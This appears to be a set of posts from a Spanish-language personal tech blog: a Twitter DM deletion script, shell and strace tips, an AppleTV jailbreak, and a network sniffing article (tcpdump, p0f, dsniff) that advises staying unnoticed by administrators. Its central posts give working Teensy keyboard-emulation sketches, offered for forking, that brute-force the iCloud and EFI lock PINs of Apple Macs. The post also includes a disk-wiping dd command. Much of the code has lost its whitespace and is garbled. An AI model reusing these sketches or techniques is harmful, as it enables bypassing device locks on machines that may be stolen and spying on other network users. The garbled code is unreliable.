Sigo en mi travesía por aprender Python y que mejor forma que solucionar problemas en funciona a la privacidad.
Varias personas me comentaron lo tedioso que es eliminar mensajes privados en Twitter así que decidi hacer una herramienta que me permita automatizar todo esto.
Lo primero es crear una app en twitter visitando apps.twitter.com y otorgarle permisos de lectura, escritura y DMs. Allí mismo pueden generar el consumer_key, consumer_secret, access_token_key y el access_token_secret.
El script no es nada complejo y de hecho hay oportunidades para mejorarlo, aqui se los dejo:
# https://github.com/orvtech/Python-tools-for-twitterimportjsonimportrequestsfromrequests_oauthlibimportOAuth1consumer_key='<YOUR CONSUMER KEY HERE>'consumer_secret='<YOUR CONSUMER SECRET HERE>'access_token_key='<YOUR ACCESS TOKEN HERE>'access_token_secret='<YOUR ACCESS TOKEN SECRET HERE>'defget_messages_ids():api_url='https://api.twitter.com/1.1/direct_messages.json'payload={'count':'200','cursor':'-1','skip_status':'1'}auth=OAuth1(consumer_key,consumer_secret,access_token_key,access_token_secret)r=requests.get(api_url,stream=False,auth=auth,params=payload)ifr.headers['x-rate-limit-remaining']andr.headers['x-rate-limit-remaining']=="0":print("We reached rate limit for ",api_url)print("Try again at",r.headers["x-rate-limit-reset"])quit()DMs=json.loads(r.content)message_ids=[]forxinrange(len(DMs)):current_ids=DMs[x]['id']message_ids.append(current_ids)api_url='https://api.twitter.com/1.1/direct_messages/sent.json'payload={'count':'200'}r=requests.get(api_url,stream=False,auth=auth,params=payload)ifr.headers['x-rate-limit-remaining']andr.headers['x-rate-limit-remaining']=="0":print("We reached rate limit for ",api_url)print("Try again at",r.headers["x-rate-limit-reset"])quit()DMs=json.loads(r.content)forxinrange(len(DMs)):current_ids=DMs[x]['id']message_ids.append(current_ids)returnmessage_idsdefnuke_messages(DMs):forxinDMs:api_url='https://api.twitter.com/1.1/direct_messages/destroy.json'payload={'id':x}auth=OAuth1(consumer_key,consumer_secret,access_token_key,access_token_secret)r=requests.post(api_url,stream=False,auth=auth,params=payload)whileTrue:DMs=get_messages_ids()ifDMsandlen(DMs)>0:print('Deleting:',DMs)nuke_messages(DMs)else:print('There appears that there are no more DMs',DMs)break
Usa solo 2 funciones, una en la que invoca primero los primeros 200 mensajes recibidos y luego los primeros 200 mensajes enviados. Tras evaluar si en realidad existen mensajes, se le pasan los IDs de los mensajes a eliminar a la segunda función y se repite este proceso hasta que no existan mas IDs a eliminar.
Tanto las llamadas de al API para saber los IDs de los mensajes enviados como las de los mensajes enviados tiene un limite así que implemente mecanismos para monitorear si se llego al limite leyendo las cabeceras de las peticiones HTTP.
Por lo pronto pueden hacer un fork de este repositorio de github En un futuro me gustaría convertirlo en una aplicación web usando flask o algo por ese estilo.
Recientemente escribí sobre como llevar a cabo un ataque de fuerza
bruta contra el bloqueo del EFI de una Mac y aunque al principio no
logre lo que quería fue solo cuestión de horas para que alguien revisara
mi código y se diera cuenta del bug que lo afectaba. Hoy en día el
código funcional al 100% y ya se han desbloqueado varias Mac usando este
procedimiento.
Cuando una computadora Apple es bloqueada remotamente desde un
dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del
iCloud. El bloqueo es tanto a nivel de OS como de EFI (su BIOS). El
articulo que comentaba anterior mente se enfoca en el bloqueo del EFI
mientras que este se enfocara en el del OS también conocido como PIN de
iCloud.
A la Izquierda (Logo de Apple) se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI.
Tras un poco de ensayo y error y con ayuda de la comunidad de
MacRumors logre modificar el Sketch de la Teensy 3 para que pudiese
atacar PIN del iCloud, aquí les dejo el código:
#include <usb_keyboard.h>// This code is licensed under Apache 2.0 License// http://www.apache.org/licenses/LICENSE-2.0.txt// Limitation of Liability. In no event and under no legal theory,// whether in tort (including negligence), contract, or otherwise,// unless required by applicable law (such as deliberate and grossly// negligent acts) or agreed to in writing, shall any Contributor be// liable to You for damages, including any direct, indirect, special,// incidental, or consequential damages of any character arising as a// result of this License or out of the use or inability to use the// Work (including but not limited to damages for loss of goodwill,// work stoppage, computer failure or malfunction, or any and all// other commercial damages or losses), even if such Contributor// has been advised of the possibility of such damages.// This code is indented for people who are not able to contact// apple support and I am in no way liable for any damage or// problems this code might cause.constintledPin=13;intcounter=0;//waits for iCouldintfirstloop=0;intsecondloop=0;intthirdloop=0;booleanfirstcompleted=false;booleansecondcompleted=false;intfakecounter=counter;charpin[]="xxxx";voidsetup(){pinMode(ledPin,OUTPUT);delay(10000);digitalWrite(ledPin,LOW);}voidloop(){keyboard_modifier_keys=0;//lets wait 1minute and 1 secondif(firstloop>=5){delay(61000);firstcompleted=true;digitalWrite(ledPin,LOW);}elseif((firstloop<5)&&(firstcompleted==false)){digitalWrite(ledPin,HIGH);++firstloop;digitalWrite(ledPin,LOW);}//lets wait 5 minutes and one secondif((secondloop>=1)&&(secondcompleted==false)&&(firstcompleted==true)){delay(301000);secondloop=0;secondcompleted=true;digitalWrite(ledPin,LOW);}elseif((secondloop<1)&&(secondcompleted==false)&&(firstcompleted==true)){++secondloop;digitalWrite(ledPin,LOW);}//lets wait 15 minutes and 1 secondif((thirdloop>=1)&&(secondcompleted==true)){delay(901000);thirdloop=0;secondcompleted=false;firstcompleted=false;firstloop=0;secondloop=0;thirdloop=0;digitalWrite(ledPin,LOW);}elseif((thirdloop<1)&&(secondcompleted==true)){++thirdloop;digitalWrite(ledPin,LOW);}//lets get to workif(counter<=9999){delay(100503);digitalWrite(ledPin,LOW);delay(7049);digitalWrite(ledPin,HIGH);sprintf(pin,"%04d",fakecounter);Keyboard.press(pin[0]);delay(450);Keyboard.release(pin[0]);delay(420);Keyboard.press(pin[1]);delay(398);Keyboard.release(pin[1]);delay(510);Keyboard.press(pin[2]);delay(421);Keyboard.release(pin[2]);delay(423);Keyboard.press(pin[3]);delay(430);Keyboard.release(pin[3]);delay(525);Keyboard.press(KEY_ENTER);delay(405);Keyboard.release(KEY_ENTER);digitalWrite(ledPin,LOW);}//reached 4 digit PIN max valueif(counter>9999){for(intblinkies=0;blinkies<8;blinkies++){digitalWrite(ledPin,HIGH);delay(20);digitalWrite(ledPin,LOW);delay(200);}delay(6000);}++counter;fakecounter=counter;}
La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.
Siéntanse libres de clonarlo, hacer forks y contribuir.
Un miembro de la comunidad de MacRumors hizo una versión mas simple y
elegante de este que lo pueden ver aquí: How to: Unlock System Lock PIN
Code.
Supongo que con un botón y poca modificación del código se podrían tener
las dos lógicas dentro de un Teensy para atacar ambos bloqueos sin
necesidad de programarlo.
Actualizado: El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin
problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has click aquí.
Dicen que de los errores se aprende así que quiero compartir este con
ustedes para que se les haga mas fácil.
Un poco de historia en este caso.
Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía "devuelveme la laptop y te devuelvo el dinero", justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.
Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:
Manos a la obra.
Como no conocía que intenciones o de lo que era capaz el vendedor
decidí formatear el disco a bajo nivel, lo monte en otra maquina y le
hice `dd if=/dev/randomof=/dev/sdd` como por unos 30 minutos,
detuve el proceso y volví a armar la MBP.
Mi sorpresa fue que al querer iniciar desde el disco de OSX para
iniciar la re-instalación me salió otra pantalla donde pedía un
password, esta vez no tenia limite de caracteres pero seguía siendo
numérico. Investigando un poco me di cuenta que los procesos de NVRAM no
funcionarían pues esta MBP era muy nueva aunque de todas formas lo
intente y corrobore mi teoría.
En algunos foros sugerían que se intente cada combinación manualmente y
que algunos les había tomado un par de semanas en sus ratos libres,
suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto
tiempo me tomaría? y si me salto por equivocación algún numero?
Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.
Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la
playa y compartir con mi familia decidir automatizar este proceso. La
lógica es simple, un contador del 0 al 9999 que siempre le de formato a
la salida en forma de 4 dígitos, no es cosa del otro mundo.
Que hardware puedo usar? que módulos del kernel en Linux tengo que
cargar para enviar la data desde una maquina a otra como si fuese un
teclado? así se inicia mi búsqueda y mi pronta realización de que
necesitaría un hardware especializado para esto.
La mayoría de nuestras computadoras son incapaces de hacer que su
controladora USB se identifique como un HID (dispositivo de interfaz
humana por sus siglas en ingles) por lo que no podría hacer esto desde
mi computadora usando BASH o Python.
Un dispositivo que podría funcionar es una Arduino pero no sin antes
armar un shield y el costo de este shield (ya teniendo el breadboard o
un protoshield) es de aproximadamente unos $24 sin incluir el envió y
los impuestos. La alternativa es el Teensy que con envió e impuesto me
costo poco menos de $23.
El Teensy 3 termino siendo el hardware mas efectivo para esta tarea,
me hubiese gustado construir el shield requerido para el Arduino pero
sin mucho tiempo libre que se diga este no era opción.
Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba
que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia
de los anteriores que funcionaban con 5 voltios y que la industria se
estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5
voltios quedarían obsoletos pronto.
El código y el ataque
Dos días después de que lo compre ya estaba en en casa y a los pocos
minutos ya lo tenia corriendo una version mas simple del codigo final.
Esta versión funcionaba sin problemas sobre un editor de texto plano,
el detalle esta en que al intentar contra la MacBook Pro de apple no
funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía
nunca enviar el "enter".
Al día siguiente con la mente mas fresca y no después de un turno de
12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se
gasto su tiempo para hacer esta forma de ataque lo mas difícil posible
para una maquina pero a la vez lo mas amigable para un humano así que me
dispuse a imitar un humano y luego de varios intentos termine con esta
versión del código:
#include <usb_keyboard .h>// This code is licensed under Apache 2.0 License// http://www.apache.org/licenses/LICENSE-2.0.txt// Limitation of Liability. In no event and under no legal theory,// whether in tort (including negligence), contract, or otherwise,// unless required by applicable law (such as deliberate and grossly// negligent acts) or agreed to in writing, shall any Contributor be// liable to You for damages, including any direct, indirect, special,// incidental, or consequential damages of any character arising as a// result of this License or out of the use or inability to use the// Work (including but not limited to damages for loss of goodwill,// work stoppage, computer failure or malfunction, or any and all// other commercial damages or losses), even if such Contributor// has been advised of the possibility of such damages.// This code is indented for people who are not able to contact// apple support and I am in no way liable for any damage or// problems this code might cause.constintledPin=13;intcounter=0;intfakecounter=counter;charpin[]="xxxx";voidsetup(){pinMode(ledPin,OUTPUT);delay(10000);}voidloop(){keyboard_modifier_keys=0;if(counter<=9999){delay(8000);digitalWrite(ledPin,LOW);delay(5500);digitalWrite(ledPin,HIGH);sprintf(pin,"%04d",fakecounter);Keyboard.press(pin[1]);delay(450);Keyboard.release(pin[1]);delay(420);Keyboard.press(pin[1]);delay(398);Keyboard.release(pin[1]);delay(510);Keyboard.press(pin[2]);delay(421);Keyboard.release(pin[2]);delay(423);Keyboard.press(pin[3]);delay(430);Keyboard.release(pin[3]);delay(525);Keyboard.press(KEY_ENTER);delay(305);Keyboard.release(KEY_ENTER);}//reached 4 digit PIN max valueif(counter>9999){for(intblinkies=0;blinkies<8;blinkies++){digitalWrite(ledPin,HIGH);delay(20);digitalWrite(ledPin,LOW);delay(200);}delay(6000);}++counter;fakecounter=counter;}
Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito.
Luego de unos minutos de prueba note que la MBP había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.
Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy
pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora. Este es el script:
while true doclear echodate start=`date +%s -d "Wed Jan 16 17:46:00"`current=`date +%s`echo"Current PIN Between: " | tr '\n'' 'echo"($current - $start) / 19.782" | bc | tr '\n'' 'echo" and " | tr '\n'' 'echo"($current - $start) / 18.782" | bc
sleep 2
done
Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.
Buenas noticias, Malas noticias.
Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.
En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.
Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos.
Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción.
El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.
Aquí les dejo un vídeo del ataque:
Alternativas un poco mas extremas.
En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema.
Pueden revisar los temas referentes a EFI en su blog via ho.ax y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo http://ho.ax/posts/2012/10/ruxcon/.
UPDATE: Un bug en el código
Recientemente este articulo fue reseñado en hackaday y varios foros lo
que trajo como consecuencia que mas gente revisara mi código y se
percataran de un error en este (¿ven la importancia del Código
Abierto?).
En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:
#include <usb_keyboard.h>// This code is licensed under Apache 2.0 License// http://www.apache.org/licenses/LICENSE-2.0.txt// Limitation of Liability. In no event and under no legal theory,// whether in tort (including negligence), contract, or otherwise,// unless required by applicable law (such as deliberate and grossly// negligent acts) or agreed to in writing, shall any Contributor be// liable to You for damages, including any direct, indirect, special,// incidental, or consequential damages of any character arising as a// result of this License or out of the use or inability to use the// Work (including but not limited to damages for loss of goodwill,// work stoppage, computer failure or malfunction, or any and all// other commercial damages or losses), even if such Contributor// has been advised of the possibility of such damages.// This code is indented for people who are not able to contact// apple support and I am in no way liable for any damage or// problems this code might cause.constintledPin=13;// choose the pin for the LEDintcounter=0;intfakecounter=counter;charpin[]="xxxx";voidsetup(){pinMode(ledPin,OUTPUT);// declare LED as outputdelay(10000);}voidloop(){keyboard_modifier_keys=0;if(counter<=9999){delay(8000);digitalWrite(ledPin,LOW);delay(5500);digitalWrite(ledPin,HIGH);sprintf(pin,"%04d",fakecounter);//sending first digitKeyboard.press(pin[0]);delay(450);Keyboard.release(pin[0]);delay(420);//sending second digitKeyboard.press(pin[1]);delay(398);Keyboard.release(pin[1]);delay(510);//sending third digitKeyboard.press(pin[2]);delay(421);Keyboard.release(pin[2]);delay(423);//sending forth digitKeyboard.press(pin[3]);delay(430);Keyboard.release(pin[3]);delay(525);//sending enterKeyboard.press(KEY_ENTER);delay(305);Keyboard.release(KEY_ENTER);}//reached 4 digit PIN max valueif(counter>9999){for(intblinkies=0;blinkies<8;blinkies++){digitalWrite(ledPin,HIGH);delay(20);digitalWrite(ledPin,LOW);delay(200);}delay(6000);}++counter;fakecounter=counter;}
La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.
Siéntanse libres de clonarlo, hacer forks y contribuir.
Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo
y comenzar el ataque de nuevo, de esto no ser posible me gustaría
escuchar sugerencias de como probarlo.
- Martes 12 de Marzo: Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en este post de MacRumors:
Hoy resolvi como enviar procesos al fondo dentro de un loop en BASH, tal vez exista una forma mas limpia de hacerlo pero esta me funciono. Este será un tip mas para esa serie de post cortos pero que vale la pena agregar a los bookmarks.
El tip como tal realmente simple, solo tienes que incluir lo que quieras enviar al fondo dentro de llaves {}. Lo que quieras enviar al fondo debe lucir muy parecido a esto:
{ ping orvtech.com & }
Veamos este otro ejemplo.
for i in `echo$correos`do echo"trabajando en usuario $i"{ crawler.sh -H $i run "grep $1 crawler.tmp" | awk -F\"'{print $2}' | awk -F\,'{print $1}' > usuarios.txt & }donejobs
Con el commando jobs puedes monitorear los procesos que se han enviado al fondo.
Tienes problemas para iniciar httpd y no hay errores en los logs?,
Tienes otro programa que que se congela y no tienes ni idea de que pueda
estar pasando? es buen momento para empezar a usar strace.
Strace es una utilidad que se usa para correr un comando y visualizar
todas sus interacciones con el sistema de forma que puedes ver
exactamente que esta haciendo el programa desde que inicia hasta que
sale incluso puede ser usado para hacer pruebas de rendimiento y
estabilidad. En este articulo lo usaremos solo como una herramienta de
diagnostico para ver por que un programa se congela.
El comando strace es fácil de usar, simplemente ejecuta strace al iniciar el servicio o programa que deseas diagnosticar, por ejemplo:
strace date
Esto te debería de dar una salida de bastantes lineas en el terminal. Veamos que pasa cuando una aplicación da error, intentemos correr man sin ningún parámetro.
$ man What manual page do you want?
Ahora veamos que hace man para llegar a ese mensaje:
execve("/usr/bin/man", ["man"], [/* 23 vars */])= 0 brk(0)= 0x9e89000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)= 0xb7869000
access("/etc/ld.so.preload", R_OK)= -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)= 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=24131, ...})= 0 ...
open("/usr/share/locale/en_US.UTF-8/man", O_RDONLY)= -1 ENOENT (No such file or directory)
open("/usr/share/locale/en_US.UTF-8/LC_MESSAGES/man", O_RDONLY)= -1 ENOENT (No such file or directory)
open("/usr/share/locale/en/man", O_RDONLY)= 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=5830, ...})= 0
mmap2(NULL, 5830, PROT_READ, MAP_PRIVATE, 4, 0)= 0xb7865000
close(4)= 0
write(2, "What manual page do you want?\n", 30)= 30 ...
Gracias a que man dio como salida "What manual page do you want?"
sabemos cual es el error, pero si no nos hubiese dado este mensaje, como
sabemos lo que esta pasando? aquí es cuando strace nos ayuda. La salida
del strace es mucho mas larga que el párrafo que tenemos arriba pero lo
recorte solo para mostrar lo que nos interesa en este ejemplo. Si se
fijan el error "-1 ENOENT (No such file or directory)" se repite
unas tres veces esto en algunos casos es un indicativo de lo que puede
estar pasando.
Identificar los errores es relativamente fácil, por lo general tienen un
-1 como salida y no todos los errores son fatales pero nos pueden dar
pistas de lo que este mal con el programa
Algunos paramentos interesantes
Puedes usar -u seguido del nombre del usuario para ejecutarlo como ese usuario en especifico cosa que es ideal para identificar
correctamente problemas de permisos y lo mas seguro es que estés
corriendo strace como root pero la mayoría de los servicios tienen sus
propios usuarios para correr.
El parámetro -p seguido del PID es útil cuando el proceso que queremos
examinar ya esta corriendo.
Personalmente suelo correrlo con estos parámetros:
strace -f -F -v -s 8192 -o <archivo>
-f Permite hacerle strace a los posibles forks que haga un programa,
por ejemplo httpd.
-F Cumple la misma función que -f pero siempre lo pongo por
cuestión de costumbre.
-v Nos da una salida detallada.
-s 8192 Asigno el valor de 8192 como limite de longitud de las
cadenas que se van a imprimir. Por defecto es 32 y yo quiero la mayor
cantidad de información posible.
-o La salida va a ser redirigida a un archivo.
Exportar tu shell script a HTML, con sintaxis resaltada en colores es posible con la ayuda de Vim y este comando:
vim -f +"syn on" +"run! syntax/2html.vim" +"wq" +"q" hola.sh
Esta linea convierte hola.sh a hola.sh.html, el parámetro -f forza a Vim a permanecer en el primer plano, cosa que es útil si Vim va a ser utilizado por otro programa como un cliente de correos o en nuestro caso este script.
Activar el coloreado de sintaxis y ejecutar el plugin 2html.vim seria la segunda parte de este script. Aquí pasa algo peculiar, plugin 2html.vim divide la pantalla de Vim donde la parte superior es el código HTML y la inferior es el documento original. Seguidamente se le envía wq para salvar y salir de la primera ventana y se le envía q para que termine con la ventana restante.
La salida de esta linea seria hola.sh.html y luce así:
<html><head><metahttp-equiv="content-type"content="text/html; charset=UTF-8"><title>/tmp/hola.sh.html</title><metaname="Generator"content="Vim/7.4"><metaname="plugin-version"content="vim7.4_v1"><metaname="syntax"content="bash"><metaname="settings"content="use_css,pre_wrap,no_foldcolumn,prevent_copy="><metaname="colorscheme"content="none"><style type="text/css"><!--pre{white-space:pre-wrap;font-family:monospace;color:#000000;background-color:#ffffff;}body{font-family:monospace;color:#000000;background-color:#ffffff;}*{font-size:1em;}.Comment{color:#0000c0;}.Constant{color:#c00000;}.Statement{color:#af5f00;}--></style><script type='text/javascript'><!----></script></head><body><preid='vimCodeElement'><spanclass="Comment">#!/bin/bash</span><spanclass="Comment"># orvtech.com</span><spanclass="Statement">echo</span><spanclass="Constant"></span><spanclass="Statement">"</span><spanclass="Constant">Este script sera convertido</span><spanclass="Statement">"</span><spanclass="Statement">echo</span><spanclass="Constant"></span><spanclass="Statement">"</span><spanclass="Constant">a HTML usando Vim</span><spanclass="Statement">"</span></pre></body></html><!-- vim: set foldmethod=manual : -->
#!/bin/bash# orvtech.comecho"Este script sera convertido"echo"a HTML usando Vim"
Incorporar este script en un bucle para que convierta todos los shell
scripts a HTML es fácil, con un bucle for, lo podemos hacer,
quedaría así:
for ARCHIVO in `ls *.sh`do echo -e "Convirtiendo $ARCHIVO a HTML" vim -f +"syn on" +"run! syntax/2html.vim" +"wq" +"q"$ARCHIVOdone
Cuando uno habla de hacking o hacks, la mayoría de la gente lo asocia
con el típico nerd que vive con su mama y que desde el sótano de su casa
irrumpe en otras computadoras. En este articulo voy a hablar un poco de
las herramientas disponibles para hacer precisamente eso, pero por
motivos didácticos, así que no soy responsable de sus acciones. La
mayoría de ustedes han escuchado de nmap y nessus pero que hay de
las otras herramientas? echemosle un vistazo y juguemos un poco con la
red.
La preferida por muchos es tcpdump, es una herramienta que simplemente
nos permite escuchar todo el trafico de la red y graba todos estos
paquetes para que luego los podamos analizar. Si tienes mas de una NIC,
puedes especificar por cual quieres escuchar pasándole el parámetro -i
interfaz. Una cosa que me gusta es que tcpdump pone tu NIC en modo
promiscuo (o por lo menos intenta hacerlo) de forma predeterminada, de
esta forma puede escuchar todo el trafico de ese segmento de la red.
Para deshabilitar el modo promiscuo y limitar el trafico solo a el que
le compete a tu NIC puedes usar el parámetro -p. Hay muchos otros
parámetros que puedes usar, recuerda ejecutar man tcpdump para mas
información.
Aquí les dejo un video que muestra como saber que sitios web estan
visitanto desde nuestra red.
Ahora bien, vamos a cuidar nuestras espaldas y supongamos que
queremos saber que ordenadores están en tu segmento de red pero queremos
evitar enviar paquetes a la red preguntando por estos ordenadores para
que no nos delate (recuerda, este tipo de actividad le puede parecer
sospechoso al administrador). La herramienta indicada para esta tarea es
p0f, esta usa técnicas pasivas para tratar de adivinar que sistemas
existen en tu segmento de red y al igual que tcpdump permite
especificar la interfaz a usar y grabar trafico guardándolo en un
archivo estilo tpcdump.
Nuestras dos herramientas se empiezan a diferenciar a la hora de definir
de forma predeterminada el estado de promiscuidad de nuestra NIC, p0f
requiere que especifiques que quieres que la NIC este en modo promiscuo
y solo escucha cuando un ordenador en nuestra red abre nuevas
conexiones. Aquí una lista de parámetros útiles para p0f.
-i Especifica la NIC por la que va a escuchar (p0f -i eth0)
-w Guarda la salida en formato tcpdump (p0f -i eth0 -w
laboratorio.dump)
-o Al igual que -w guarda la salida de este comando pero en un
archivo de texto sin formato tcpdump
-O Proporciona una salida mas descriptiva. Tambien llamado modo ACK
-p Indica que quieres que ponga la NIC en modo promiscuo (p0f -i eth0
-p)
-s Analiza un archivo que previamente capturaste en formato tcpdump
El problema de todo esto hasta ahora es que es muy probable que el resto
de las maquinas esten bajo una NAT y no podamos verlas como tal, solo
veremos el router. Uno puede usar el parámetro -M que le indica a p0f
que use un algoritmo de detección de enmascaramiento e intenta
identificar estas maquinas individualmente.
Supongamos que ya sabemos cuales son los otros ordenadores que existen
en nuestra red, ahora lo interesante es saber que tipo de trafico
tienen, sera FTP? o tal vez HTTP?, POP?, IMAP? o cualquier otro que sea
de nuestro interés. Lo segundo que en mi caso me llama la atención es
ver desde donde viene este trafico, con quien se comunican estos otros
ordenadores? para responder todo esto podemos usar nuestra tercera
herramienta, dsniff.
Esta utilidad al igual que las anteriores nos permite especificar que
interfaz queremos usar e incluso podemos usar el parámetro -p para que
use archivos que han sido grabados previamente. Puedes habilitar la
detección automática de protocolos usando el parámetro -m lo que te va
dar detalles crudos de que hacen tus vecinos de red.
Ahora que sabemos quienes están a nuestro alcance, que hacen y con
quien, podemos revisar la seguridad de los servicios que prestan, el mas
común es el servicio web.
Una herramienta buena para revisar como esta la seguridad de nuestro
servidor web es nitko. Puedes seleccionar el hostname con la opción -h
incluso puedes pasarle una lista de host o IPs en un archivo de texto.
nitko se enfoca en el puerto 80 de forma predeterminada pero puedes
alterar esto usando el parámetro -p de hecho tiene un montón de
parámetros que puedes usar para pruebas de seguridad especificas... mas
de las que quisiera mencionar aquí.
No quería terminar este articulo sin antes mencionar chkrootkit,
esta utilidad nos permite analizar sistemas y trata de terminar si han
sido manipulados, para ver una lista de las pruebas disponibles puedes
usar el parámetro -l. Útil para verificar si el sistema ha sido
infectado o si tiene rootkits.
Este articulo es para fines didácticos, para que 'juegues' en tu propia
red y no para que dañes sistemas ajenos ni adquieras a información que
no te pertenece.
Instale mediante un pendrive USB un parche que permite el acceso remoto
a mi AppleTV vía SSH, el mismo parche instala una serie de aplicaciones
como Boxee, bin utils y unas modificaciones o hacks al menú de la
interfaz gráfica que permite la instalación de plugins (como Perian) y
otras aplicaciones.
La razón principal de esto es mas que todo para poder instalar XBMC y
una serie de plugins y scripts para este que permiten organizar
automaticamente la librería de películas. El pluging no solo permite
renombrar y organizar de acuerdo a el nombre real de este vídeo,
temporada y episodio si no también descarga automaticamente los
subtítulos e información adicional al vídeo. Aquí les dejo un vídeo de
el AppleTV iniciando desde el USB patchstick (el pendrive que
preparamos) e instalando todo lo necesario.
Proximamente buscare de instalar macports o el portage de gentoo si es
posible. Quiero migrar este site así como linuxevolution.org al AppleTV.
[gallery link="file" order="DESC"]
Por ahora no he jugado mucho con el Apple TV, tan solo unos minutos esta
mañana, en cuestión de minutos lo conecte al TV, prendió y logre
configurar para que se conecte a la red inalámbrica de la casa. Este
sera el reemplazo de mi servidor NSLU2 en un par de meses. Por su puesto
no podian faltar las fotos:
[gallery link="file" order="DESC"]
Las características técnicas del equipo son:
Procesador:
Intel 1.0 GHz "Crofton" Processor
Gráficos:
NVIDIA GeForce Go 7300 (64 MB VRAM)
Memoria:
256 Mb de 400 MHz DDR2 SDRAM
Disco duro:
160 GB hard disk
Conectividad:
USB 2.0, receptor infrarrojo, HDMI y Vídeo por componentes.
Networking:
10BASE-T/100BASE-T Ethernet, 802.11 b, g, n wireless networking (AirPort)
Salida:
1080p/1080i 60/50 Hz (pero la resolución máxima de vídeo es de 720p)
Audio:
S/PDIF digital audio óptico, RCA analógico de sonido estéreo
Alimentación:
Fuente de alimentación universal 48W
Dimensiones:
197x197x28 mm (7.7x7.7x1.1 in)
Peso:
1.09 kg (2.4 libra)
A simple vista, mas de ocho veces la cantidad de memoria que tiene mi
NSLU2 (que por cierto aloja esta pagina web), casi ocho veces mas
poder de procesamiento, disco duro interno vía IDE que ya de por si es
mucho mas rápido que USB 2.0, lo puedo conectar al TV y ver en HD las
películas, photos, y demás contenido multimedia que descargue vía
torrents. Todo esto por $108 puesto en mi casa.
Usando `du` podemos encontrar los directorios y archivos mas grande dentro de un directorio. el siguiente ejemplo muestra como listar los 10 archivos y carpetas mas grande dentro del directorio 'HOME'
du -a ~/ | sort -n -r | head -n 10
En el script de arriba, lo que estamos haciendo es listar todos los archivos y directorios que están en el directorio donde nos encontramos junto a su tamaño, luego los ordenamos numéricamente y de forma inversa y finalmente elegimos los últimos 10.
Con `find` podemos conseguir los 10 archivos mas grandes recursivamente dentro de un directorio.
find ~/ -type f -exec ls -ls {}\; | awk '{print $6"\t"$9}' | sort -k1 -n -r | head -n 10
Este script busca todos los archivos dentro de nuestro home, y los pasa por el comando ls -ls que los va a listar mostrando su tamaño. El resto de esta linea solo toma los campos seis y nueve pertenecientes a el tamaño en bloques y el nombre. Al igual que el script anterior el ultimo segmento de este script ordena numéricamente la salida y de forma inversa para luego tomar los primeros diez resultados.